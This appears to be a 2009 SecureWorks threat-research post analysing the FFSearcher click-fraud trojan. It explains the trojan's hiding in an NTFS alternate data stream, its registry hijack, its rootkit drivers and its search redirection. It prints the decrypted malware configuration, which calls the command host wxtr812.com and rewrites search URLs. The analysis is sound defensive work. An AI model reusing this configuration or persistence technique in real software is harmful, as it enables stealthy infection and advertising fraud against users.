FFSearcher Click Fraud Trojan | Dell SecureWorks

FFSearcher Click Fraud Trojan

  • Date: June 26, 2009
  • Author: Joe Stewart, Director of Malware Analysis

While analyzing a slew of malware downloaded by the exploit kit used in the "Nine-Ball" web attacks, the SecureWorks Counter Threat Unit came across an interesting trojan that used a previously-unseen HTTP request pattern. Intrigued, we performed additional analysis to discover its purpose. After some time we came to the conclusion that the trojan was a search hijacker trojan used for click fraud.

Click fraud trojans are as old as Internet advertising itself, and usually we see one of two types: browser hijackers that change one's start page and searches to redirect to a third-party search engine, or trojans that silently pull down a list of ad URLs and generate fake clicks on the ads in a hidden Internet Explorer window. This trojan however, was much more subtle and creative - in this case, every click on an ad is user-generated, and the user never notices any change in their web-surfing experience.

We call this trojan search hijacker "FFSearcher", named after one of the websites used in this scheme. Detection of the dropper executable by anti-virus engines is poor at this time, with only 4 of 39 scanners detecting it at all.

Size: 76800 bytes
PE timestamp: Wed Jun 10 14:17:03 2009
MD5 sum: 09dbd01791f310b9d97378cac6efa185
SHA1 sum: ec04a28a8ee0d38bc3590cc2301c0e9d30077938

FFSearcher installs itself by attaching to an existing system file as an NTFS alternate data stream. These files are hidden from Explorer windows and command-line directory listings. In this case, the name of the system file was C:\WINDOWS\system32\netcfgx.dll, and the alternate data stream was named "Zone.Identifier", making the stream accessible only by requesting the entire path, C:\WINDOWS\system32\netcfgx.dll:Zone.Identifier.

The name "Zone.Identifier" is used by Windows post-XP Service Pack 2 as a way to mark an executable that has been downloaded from the Internet, so it would not be unexpected to find such an alternate data stream attached to a file. Usually the stream contains a bit of text with the zone ID that Internet Explorer was using when the file was downloaded. In this case however, the stream contains a trojan DLL.

FFSearcher modifies the existing registry entry that loads the netcfgx.dll to point to netcfgx.dll:Zone.Identifier instead. This way the trojan can load itself into the system without creating any new and suspicious registry keys that might be noticed by startup registry analysis tools. When the trojan DLL finished loading, execution continues on with the original system DLL as if nothing had happened.


The registry key modified is HKLM\software\Classes\CLSID\ {5B035261-40F9-11D1-AAEC-00805FC1270E}\InProcServer32, which controls the location of the DLL for the network configuration component object of Windows.

This part of FFSearcher has better detection (15 of 41) but no real identification by AV engines except as a generic rootkit. When it runs it decodes a couple of kernel drivers which are encrypted using a modified RC4 algorithm and embedded as resources in the DLL. These drivers are loaded into the kernel and then the files are deleted from the system. One driver acts as a rootkit, hiding the trojan on the system. The other driver looks for Internet Explorer or Firefox windows and injects the final payload into the process memory of either or both.

The final payload is designed to use a kind of "augmented reality" to redirect searches in Google to a third-party website, my-web-way.com, while maintaining the appearance in the browser that the user is still viewing the Google website and search results the entire time.

The motivating factor behind this scheme is a system Google created called "AdSense for Search". Google provides an API to webmasters to add a Google-powered search widget (called "Google Custom Search") to their website. AdSense ads are displayed in the search results, and if a user clicks on one of the ads, Google will pay the webmaster a small sum of money. Many websites and blogs use this service legitimately.

However, the author(s) of FFSearcher realized they could use a trojan to make every search a user makes on Google a search through their Google Custom Search widget instead, and figured if they could hide the mechanics of the user actually seeing the website hijacking the search, Google would be none the wiser. Here's what my-web-way.com normally looks like:


And a normal search performed on the my-web-way.com Google Custom Search engine returns search results from Google, as expected:


Once a user is infected with FFSearcher however, things begin to look a little different. For example, all references to the hijacking search page are replaced, even in the autocompletion function of the address bar. Here is what the autocomplete for my-web-way.com would look like normally:


Here's what the autocompletion for my-web-way.com looks like after the trojan has hijacked the browser. We're typing in my-web-way.com but the browser is changing the name to google.com any time it is displayed in the window:


But the augmented reality doesn't stop there. For reference, look at this normal Google search result:


Now, here is the same search result as seen by a user infected by FFSearcher, with the data coming from my-web-way.com. To the untrained eye, it looks just like a normal Google search result - there are only subtle differences, such as not displaying the total term hit count, lack of other search options, and the third-party cookie warning icon at the bottom (which might be disabled anyway). An average user is likely not going to notice the difference at all:


Here we see that FFSearcher accomplishes the same illusion in the Firefox web browser as well. This is another search result, with data delivered by my-web-way.com but appearing to the user to be a Google-hosted page:


It looks like the FFSearcher authors haven't yet figured out how to fully replace the domain name in the Firefox autocompletion dropdown, although the page title is changed, probably as a side-effect of the page content modification:


FFSearcher is remotely configurable, so search sites, replacement content, and even the configuration request itself can be swapped out. Here is a snippet of the remote configuration file after decryption:

var compId = GetCompId();
var UpdateIp = DnsToIp("wxtr812.com");
AddReplace("www.ffsearcher.com", "www.google.com");
AddReplace("www.i-web-search.com", "search.yahoo.com");
AddReplace("counter.yadro.ru", "www.google.com");
AddPage(null, 2, "http://www.google.com/", 2, true, 0);
AddPage(null, 0, "http://www.i-web-search.com/", 2, true, 5);
GetUpdate(UpdateIp, "GET /SY4VHK-eedgRAeZm-1E61fJun1dK-U1fKQC?version=" +GetVersion()+" HTTP/1.1\r\nUser-Agent: Microsoft-Symbol-Server/6.5.0003.7\r\nReferer: "+GetCompId()+"\r\nHost: wxtr812.com\r\nConnection: close\r\n\r\n");
function getLocalPage(s, ref, url, user) {
if (0 < url.indexOf("q=ffsearch") || 0 < url.indexOf("q=i-web-search") || 0 < url.indexOf("q=wxtr812") ) {GetUpdate(UpdateIp, "GET /SY4VHK-eedgRAeZm-1E61fJun1dK-U1fKQC?version=" +GetVersion()+"&err=true HTTP/1.1\r\nUser-Agent: Microsoft-Symbol-Server/6.5.0003.7\r\nReferer: "+GetCompId()+"\r\nHost: wxtr812.com\r\nConnection: close\r\n\r\n"); }
if (0==url.indexOf("http://www.ffsearcher.com/search?")) {
AddPageDirect(s, 2);
return false;
if (0==url.indexOf("http://www.i-web-search.com/search?")) {
AddPageDirect(s, 6);
return false;
if ('http://www.yahoo.com/' == url) {
AddInjectDirect(s, 4);
return false;
if (ref == '' && 0==url.indexOf("http://www.google.com/search?")) {
var index;
url = url.substr(28);
if (index = url.indexOf('?q=')) index = url.indexOf('&q=');
if(0 <= index) {
if (0 < (index = (url = url.substr(index+1)).indexOf('&'))) { url = url.substr(0, index);
AddPageDirect(s,"HTTP/1.1 302\r\nLocation: http://www.ffsearcher.com/search?"+url+" &cx=partner-pub-8623920454324067 %3Aww1314-kux9&cof=FORID%3A10& ie=UTF-8&sa=Search\r\n\r\n");
if (ref == '' && 0==url.indexOf("http://search.yahoo.com/search?")) {
var index;
url = url.substr(30);
if (index = url.indexOf('?p=')) index = url.indexOf('&p=');
if(0 <= index) {
if (0 < (index = (url = url.substr(index+2)).indexOf('&'))) { url = url.substr(0, index);
AddPageDirect(s, "HTTP/1.1 302\r\nLocation: http://www.i-web-search.com/search?q"+ url+ "&cx=partner-pub-6169349783678403%3Am060pj-84am &cof=FORID%3A10\r\n\r\n");
if (0 < user.indexOf(" GoogleToolbar ") && 0 < decodeURIComponent(url).indexOf("www.google.com")) {
return true;
if (0 < user.indexOf(" GoogleToolbar ") && 0 < decodeURIComponent(url).indexOf(".yahoo.com")) {
return true;
if (0 < url.indexOf("pub-6169349783678403") && 0 == url.indexOf("http://www.google.")) {
AddInjectDirect(s, 7);
return false;
if (0 < url.indexOf("pub-8623920454324067") && 0 == url.indexOf("http://www.google.")) {
AddInjectDirect(s, 3);
return false;
return false;

From the above code we can see that Yahoo! also appears to be a target of this click fraud scheme, although during testing we were unable to witness successful redirection of the Yahoo! website through a third-party search widget.

As click-fraud trojans go, this is one of the more clever that we've seen, with an impressive feature set:

  1. Working code to hijack both Firefox and IE
  2. Difficult to spot by the average user
  3. Minimally impacting to the infected machine
  4. Probably difficult for fraud detection systems at the search engine sites to detect, since every ad-click that comes through ]is generated on purpose by a user in the course of normal web-surfing activity.

FFSearcher undoubtedly raises the bar for the fraud detection teams working at the major search engines, and it will be interesting to see how they combat it and other trojans using the same technique in the future.



Next Steps

phonepicCall Us Today
(877) 838-7947
UK +44 131 260 3044


Online Tools

  • Print this Page
  • Share This Resource

By completing this form you'll be opting in to receiving future communications about products and services from Dell SecureWorks.